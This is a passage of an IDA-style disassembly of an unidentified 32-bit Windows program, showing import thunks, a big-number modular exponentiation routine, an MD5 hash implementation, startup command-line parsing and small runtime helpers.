XREF: sub_40523D+161p jmp ds:dword_448350 sub_40BC44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BC50 proc near ; CODE XREF: sub_40696D+5Fp jmp ds:dword_44835C sub_40BC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BC5C proc near ; CODE XREF: sub_40696D+39p jmp ds:dword_448360 sub_40BC5C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BC68 proc near ; CODE XREF: sub_40696D+26p jmp ds:dword_448364 sub_40BC68 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BC74 proc near ; CODE XREF: sub_406911+52p jmp ds:dword_448368 sub_40BC74 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC80 proc near ; CODE XREF: sub_408741+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp pusha cld mov edi, [ebp+arg_4] mov eax, 1 stosd mov ecx, 0Fh dec eax rep stosd lea edi, dword_447B7C mov esi, [ebp+arg_0] mov ecx, 10h rep movsd mov edi, [ebp+arg_8] call sub_40BD4B xor edx, edx loc_40BCB0: ; CODE XREF: sub_40BC80+52j push edx push ebx mov eax, [ebp+arg_8] bt [eax], edx jnb short loc_40BCC2 mov edx, [ebp+arg_4] call sub_40BCDC loc_40BCC2: ; CODE XREF: sub_40BC80+38j lea edx, dword_447B7C call sub_40BCDC pop ebx pop edx inc edx cmp edx, ebx jbe short loc_40BCB0 popa pop ebp retn 10h sub_40BC80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40BCDC proc near ; CODE XREF: sub_40BC80+3Dp ; sub_40BC80+48p lea edi, dword_447B3C mov ecx, 10h xor eax, eax rep stosd lea edi, dword_447B7C call sub_40BD4B loc_40BCF6: ; CODE XREF: sub_40BCDC+5Dj lea edi, dword_447B3C mov ecx, 10h xor eax, eax loc_40BD03: ; CODE XREF: sub_40BCDC+2Cj rcl dword ptr [edi], 1 lea edi, [edi+4] loop loc_40BD03 call sub_40BD5C bt dword_447B7C, ebx jnb short loc_40BD38 mov esi, edx lea edi, dword_447B3C xor eax, eax mov ecx, 10h loc_40BD27: ; CODE XREF: sub_40BCDC+55j mov eax, [esi] adc [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_40BD27 call sub_40BD5C loc_40BD38: ; CODE XREF: sub_40BCDC+3Aj dec ebx jns short loc_40BCF6 mov edi, edx lea esi, dword_447B3C mov ecx, 10h rep movsd retn sub_40BCDC endp ; =============== S U B R O U T I N E ======================================= sub_40BD4B proc near ; CODE XREF: sub_40BC80+29p ; sub_40BCDC+15p mov ebx, 1FFh loc_40BD50: ; CODE XREF: sub_40BD4B+Bj bt [edi], ebx jb short locret_40BD58 dec ebx jnz short loc_40BD50 locret_40BD58: ; CODE XREF: sub_40BD4B+8j retn sub_40BD4B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40BD5C proc near ; CODE XREF: sub_40BCDC+2Ep ; sub_40BCDC+57p lea esi, dword_447B3C mov edi, [ebp+14h] mov ecx, 0Fh loc_40BD6A: ; CODE XREF: sub_40BD5C+19j mov eax, [esi+ecx*4] cmp eax, [edi+ecx*4] jb short locret_40BD93 ja short loc_40BD77 dec ecx jns short loc_40BD6A loc_40BD77: ; CODE XREF: sub_40BD5C+16j mov esi, [ebp+14h] lea edi, dword_447B3C xor eax, eax mov ecx, 10h loc_40BD87: ; CODE XREF: sub_40BD5C+35j mov eax, [esi] sbb [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_40BD87 locret_40BD93: ; CODE XREF: sub_40BD5C+14j retn sub_40BD5C endp ; =============== S U B R O U T I N E ======================================= sub_40BD94 proc near ; CODE XREF: sub_40BDE5+32p ; sub_40BDE5+50p ... mov eax, ebx and eax, ecx push ebx not ebx and ebx, edx or eax, ebx pop ebx retn sub_40BD94 endp ; =============== S U B R O U T I N E ======================================= sub_40BDA1 proc near ; CODE XREF: sub_40BDE5+219p ; sub_40BDE5+238p ... mov eax, ebx and eax, edx push edx not edx and edx, ecx or eax, edx pop edx retn sub_40BDA1 endp ; =============== S U B R O U T I N E ======================================= sub_40BDAE proc near ; CODE XREF: sub_40BDE5+420p ; sub_40BDE5+43Fp ... mov eax, ebx xor eax, ecx xor eax, edx retn sub_40BDAE endp ; =============== S U B R O U T I N E ======================================= sub_40BDB5 proc near ; CODE XREF: sub_40BDE5+627p ; sub_40BDE5+645p ... mov eax, edx not eax or eax, ebx xor eax, ecx retn sub_40BDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BDBE proc near ; CODE XREF: sub_408779+A8p arg_0 = dword ptr 8 push ebp mov ebp, esp pusha mov edi, [ebp+arg_0] mov dword ptr [edi], 67452301h mov dword ptr [edi+4], 0EFCDAB89h mov dword ptr [edi+8], 98BADCFEh mov dword ptr [edi+0Ch], 10325476h popa pop ebp retn 4 sub_40BDBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BDE5 proc near ; CODE XREF: sub_408779+C5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp pusha mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [edi] mov dword_447BBC, eax mov eax, [edi+4] mov dword_447BC0, eax mov eax, [edi+8] mov dword_447BC4, eax mov eax, [edi+0Ch] mov dword_447BC8, eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BD94 add eax, [edi] add eax, [esi] add eax, 0D76AA478h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BD94 add eax, [edi+0Ch] add eax, [esi+4] add eax, 0E8C7B756h rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BD94 add eax, [edi+8] add eax, [esi+8] add eax, 242070DBh rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BD94 add eax, [edi+4] add eax, [esi+0Ch] add eax, 0C1BDCEEEh rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BD94 add eax, [edi] add eax, [esi+10h] add eax, 0F57C0FAFh rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BD94 add eax, [edi+8] add eax, [esi+18h] add eax, 0A8304613h rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BD94 add eax, [edi+4] add eax, [esi+1Ch] add eax, 0FD469501h rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BD94 add eax, [edi] add eax, [esi+20h] add eax, 698098D8h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BD94 add eax, [edi+0Ch] add eax, [esi+24h] add eax, 8B44F7AFh rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BD94 add eax, [edi+8] add eax, [esi+28h] add eax, 0FFFF5BB1h rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BD94 add eax, [edi+4] add eax, [esi+2Ch] add eax, 895CD7BEh rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BD94 add eax, [edi] add eax, [esi+30h] add eax, 6B901122h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BD94 add eax, [edi+0Ch] add eax, [esi+34h] add eax, 0FD987193h rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BD94 add eax, [edi+8] add eax, [esi+38h] add eax, 0A679438Eh rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BD94 add eax, [edi+4] add eax, [esi+3Ch] add eax, 49B40821h rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDA1 add eax, [edi] add eax, [esi+4] add eax, 0F61E2562h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDA1 add eax, [edi+0Ch] add eax, [esi+18h] add eax, 0C040B340h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDA1 add eax, [edi+8] add eax, [esi+2Ch] add eax, 265E5A51h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDA1 add eax, [edi+4] add eax, [esi] add eax, 0E9B6C7AAh rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDA1 add eax, [edi] add eax, [esi+14h] add eax, 0D62F105Dh rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDA1 add eax, [edi+0Ch] add eax, [esi+28h] add eax, 2441453h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDA1 add eax, [edi+8] add eax, [esi+3Ch] add eax, 0D8A1E681h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDA1 add eax, [edi+4] add eax, [esi+10h] add eax, 0E7D3FBC8h rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDA1 add eax, [edi] add eax, [esi+24h] add eax, 21E1CDE6h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDA1 add eax, [edi+0Ch] add eax, [esi+38h] add eax, 0C33707D6h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDA1 add eax, [edi+8] add eax, [esi+0Ch] add eax, 0F4D50D87h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDA1 add eax, [edi+4] add eax, [esi+20h] add eax, 455A14EDh rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDA1 add eax, [edi] add eax, [esi+34h] add eax, 0A9E3E905h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDA1 add eax, [edi+0Ch] add eax, [esi+8] add eax, 0FCEFA3F8h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDA1 add eax, [edi+8] add eax, [esi+1Ch] add eax, 676F02D9h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDA1 add eax, [edi+4] add eax, [esi+30h] add eax, 8D2A4C8Ah rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDAE add eax, [edi] add eax, [esi+14h] add eax, 0FFFA3942h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDAE add eax, [edi+0Ch] add eax, [esi+20h] add eax, 8771F681h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDAE add eax, [edi+8] add eax, [esi+2Ch] add eax, 6D9D6122h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDAE add eax, [edi+4] add eax, [esi+38h] add eax, 0FDE5380Ch rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDAE add eax, [edi] add eax, [esi+4] add eax, 0A4BEEA44h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDAE add eax, [edi+0Ch] add eax, [esi+10h] add eax, 4BDECFA9h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDAE add eax, [edi+8] add eax, [esi+1Ch] add eax, 0F6BB4B60h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDAE add eax, [edi+4] add eax, [esi+28h] add eax, 0BEBFBC70h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDAE add eax, [edi] add eax, [esi+34h] add eax, 289B7EC6h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDAE add eax, [edi+0Ch] add eax, [esi] add eax, 0EAA127FAh rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDAE add eax, [edi+8] add eax, [esi+0Ch] add eax, 0D4EF3085h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDAE add eax, [edi+4] add eax, [esi+18h] add eax, 4881D05h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDAE add eax, [edi] add eax, [esi+24h] add eax, 0D9D4D039h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDAE add eax, [edi+0Ch] add eax, [esi+30h] add eax, 0E6DB99E5h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDAE add eax, [edi+8] add eax, [esi+3Ch] add eax, 1FA27CF8h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDAE add eax, [edi+4] add eax, [esi+8] add eax, 0C4AC5665h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDB5 add eax, [edi] add eax, [esi] add eax, 0F4292244h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDB5 add eax, [edi+0Ch] add eax, [esi+1Ch] add eax, 432AFF97h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDB5 add eax, [edi+8] add eax, [esi+38h] add eax, 0AB9423A7h rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDB5 add eax, [edi+4] add eax, [esi+14h] add eax, 0FC93A039h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDB5 add eax, [edi] add eax, [esi+30h] add eax, 655B59C3h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDB5 add eax, [edi+0Ch] add eax, [esi+0Ch] add eax, 8F0CCC92h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDB5 add eax, [edi+8] add eax, [esi+28h] add eax, 0FFEFF47Dh rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDB5 add eax, [edi+4] add eax, [esi+4] add eax, 85845DD1h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDB5 add eax, [edi] add eax, [esi+20h] add eax, 6FA87E4Fh rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDB5 add eax, [edi+0Ch] add eax, [esi+3Ch] add eax, 0FE2CE6E0h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDB5 add eax, [edi+8] add eax, [esi+18h] add eax, 0A3014314h rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDB5 add eax, [edi+4] add eax, [esi+34h] add eax, 4E0811A1h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BDB5 add eax, [edi] add eax, [esi+10h] add eax, 0F7537E82h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BDB5 add eax, [edi+0Ch] add eax, [esi+2Ch] add eax, 0BD3AF235h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BDB5 add eax, [edi+8] add eax, [esi+8] add eax, 2AD7D2BBh rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BDB5 add eax, [edi+4] add eax, [esi+24h] add eax, 0EB86D391h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov eax, dword_447BBC add [edi], eax mov eax, dword_447BC0 add [edi+4], eax mov eax, dword_447BC4 add [edi+8], eax mov eax, dword_447BC8 add [edi+0Ch], eax popa pop ebp xor eax, eax retn 8 sub_40BDE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C630 proc near ; CODE XREF: sub_4098A8+1010p var_1C = dword ptr -1Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp sub esp, 1Ch fnstcw [ebp+var_2] mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [esp+1Ch+var_1C] mov eax, [esp+1Ch+var_1C] fldcw [ebp+var_2] leave retn sub_40C630 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C654 proc near ; CODE XREF: sub_401219+66p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push edi call sub_40C728 ; GetCommandLineA mov edi, eax cmp byte ptr [edi], 22h jnz short loc_40C688 push 22h mov eax, edi inc eax push eax call sub_40CC80 add esp, 8 mov [ebp+var_4], eax or eax, eax jz short loc_40C6A3 mov edi, eax inc edi jmp short loc_40C680 ; --------------------------------------------------------------------------- loc_40C67F: ; CODE XREF: sub_40C654+2Fj inc edi loc_40C680: ; CODE XREF: sub_40C654+29j cmp byte ptr [edi], 20h jz short loc_40C67F jmp short loc_40C6A3 ; --------------------------------------------------------------------------- loc_40C687: ; CODE XREF: sub_40C654+3Ej inc edi loc_40C688: ; CODE XREF: sub_40C654+Fj movsx eax, byte ptr [edi] or eax, eax jz short loc_40C694 cmp eax, 20h jnz short loc_40C687 loc_40C694: ; CODE XREF: sub_40C654+39j jmp short loc_40C697 ; --------------------------------------------------------------------------- loc_40C696: ; CODE XREF: sub_40C654+4Dj inc edi loc_40C697: ; CODE XREF: sub_40C654:loc_40C694j movsx eax, byte ptr [edi] or eax, eax jz short loc_40C6A3 cmp eax, 20h jz short loc_40C696 loc_40C6A3: ; CODE XREF: sub_40C654+24j ; sub_40C654+31j ... push 0 call sub_40C77C ; GetModuleHandleA push 1 push edi push 0 push eax call sub_40AA24 pop edi leave retn sub_40C654 endp ; =============== S U B R O U T I N E ======================================= sub_40C6B8 proc near ; CODE XREF: sub_40133B+8p ; sub_402A48+8p ... var_FFC = dword ptr -0FFCh pop ecx loc_40C6B9: ; CODE XREF: sub_40C6B8+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_40C6B9 sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_40C6B8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40C6D8 proc near ; CODE XREF: sub_401BB7+CCp ; sub_40523D+38p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_40C6D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C704 proc near ; CODE XREF: sub_4040AA+190p ; sub_4061F7+4C5p ... jmp ds:dword_448374 sub_40C704 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C710 proc near ; CODE XREF: sub_40AA24+3DEp jmp ds:dword_448378 sub_40C710 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C71C proc near ; CODE XREF: sub_4061F7+161p ; sub_408B4C+16Bp jmp ds:dword_44837C sub_40C71C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C728 proc near ; CODE XREF: sub_40C654+5p jmp ds:dword_448380 sub_40C728 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C734 proc near ; CODE XREF: sub_40133B+10p ; sub_40133B:loc_401409p ... jmp ds:dword_448384 sub_40C734 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C740 proc near ; CODE XREF: sub_40160A+7p ; sub_40160A:loc_401694p ... jmp ds:dword_448388 sub_40C740 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C74C proc near ; CODE XREF: sub_401A7E+54p ; sub_4098A8+71Cp jmp ds:dword_44838C sub_40C74C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C758 proc near ; CODE XREF: sub_40833E+C8p jmp ds:dword_448390 sub_40C758 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C764 proc near ; CODE XREF: sub_4014C9+8Cp ; sub_4014C9:loc_401562p ... jmp ds:dword_448394 sub_40C764 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C770 proc near ; CODE XREF: sub_403A5F+117p ; sub_40406B+35p ... jmp ds:dword_448398 sub_40C770 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C77C proc near ; CODE XREF: sub_402226+13p ; sub_402563+EFp ... jmp ds:dword_44839C sub_40C77C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C788 proc near ; CODE XREF: sub_402226+2Bp ; sub_402226+40p ... jmp ds:dword_4483A0 sub_40C788 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C794 proc near ; CODE XREF: sub_401D31:loc_401E3Dp ; sub_401D31+336p ... jmp ds:dword_4483A4 sub_40C794 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7A0 proc near ; CODE XREF: sub_40399B+32p ; sub_4040AA+81p ... jmp ds:dword_4483A8 sub_40C7A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7AC proc near ; CODE XREF: sub_40133B+82p ; sub_401A7E+97p ... jmp ds:dword_4483AC sub_40C7AC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7B8 proc near ; CODE XREF: sub_4054C8+123p ; sub_408B4C+2Dp jmp ds:dword_4483B0 sub_40C7B8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7C4 proc near ; CODE XREF: sub_40181A:loc_40185Ep ; sub_402226+35p ... jmp ds:dword_4483B4 sub_40C7C4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7D0 proc near ; CODE XREF: sub_40133B+DEp ; sub_4014C9:loc_40151Fp ... jmp ds:dword_4483B8 sub_40C7D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7DC proc near ; CODE XREF: sub_4040AA+2Ep ; sub_40AA24+D7p jmp ds:dword_4483BC sub_40C7DC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7E8 proc near ; CODE XREF: sub_40399B+71p jmp ds:dword_4483C0 sub_40C7E8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7F4 proc near ; CODE XREF: sub_4040AA+10Bp ; sub_4098A8+B47p ... jmp ds:dword_4483C4 sub_40C7F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C800 proc near ; CODE XREF: sub_40341E+67p ; sub_4036BC+59p ... jmp ds:dword_4483C8 sub_40C800 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C80C proc near ; CODE XREF: sub_40349A+A4p ; .text:004038FEp jmp ds:dword_4483CC sub_40C80C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C818 proc near ; CODE XREF: sub_40349A+65p ; .text:004038CBp jmp ds:dword_4483D0 sub_40C818 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C824 proc near ; CODE XREF: sub_402A48+204p jmp ds:dword_4483D4 sub_40C824 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C830 proc near ; CODE XREF: sub_4061F7+4Bp jmp ds:dword_4483D8 sub_40C830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C83C proc near ; CODE XREF: sub_402A48+1CBp jmp ds:dword_4483DC sub_40C83C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C848 proc near ; CODE XREF: sub_402A48+5C3p jmp ds:dword_4483E0 sub_40C848 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C854 proc near ; CODE XREF: sub_4023A7+19p ; sub_402563:loc_40257Ep ... jmp ds:dword_4483E4 sub_40C854 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C860 proc near ; CODE XREF: sub_402A48+A2p jmp ds:dword_4483E8 sub_40C860 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C86C proc near ; CODE XREF: sub_4061F7+490p ; sub_408B4C+AEp ... jmp ds:dword_4483EC sub_40C86C endp 